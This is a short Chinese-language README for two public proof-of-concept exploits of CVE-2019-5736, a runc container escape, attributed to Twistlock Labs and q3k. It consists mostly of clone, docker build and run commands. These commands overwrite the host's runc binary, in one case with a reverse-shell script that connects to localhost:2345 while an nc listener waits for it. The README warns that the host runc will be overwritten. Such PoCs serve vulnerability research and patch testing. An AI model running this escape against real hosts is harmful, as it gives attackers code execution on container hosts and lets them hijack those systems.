针对 CVE-2019-5736 的两个 PoC。有关 CVE-2019-5736 及其 PoC 的说明,请参阅 Twistlock Labs。
恶意镜像 PoC 在很大程度上基于 q3k 的 PoC,因此所有功劳都归于他。
请注意,运行这些 PoC 会覆盖主机上的 runc 二进制文件。建议你在运行其中一个 PoC 之前,先创建你的 runc 二进制文件(通常位于 /usr/sbin/runc)的副本。
克隆仓库:
$ git clone https://github.com/twistlock/RunC-CVE-2019-5736
用一个打印字符串的简单程序覆盖 runc。
运行 Exec PoC:
$ cd RunC-CVE-2019-5736
$ docker build -t cve-2019-5736:exec_POC ./exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
用一个简单的反向 shell bash 脚本覆盖 runc,该脚本会连接到 localhost:2345。
监听反向 shell:
$ nc -nvlp 2345
在另一个 shell 中,运行恶意镜像 PoC:
$ cd RunC-CVE-2019-5736
$ docker build -t cve-2019-5736:malicious_image_POC ./malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC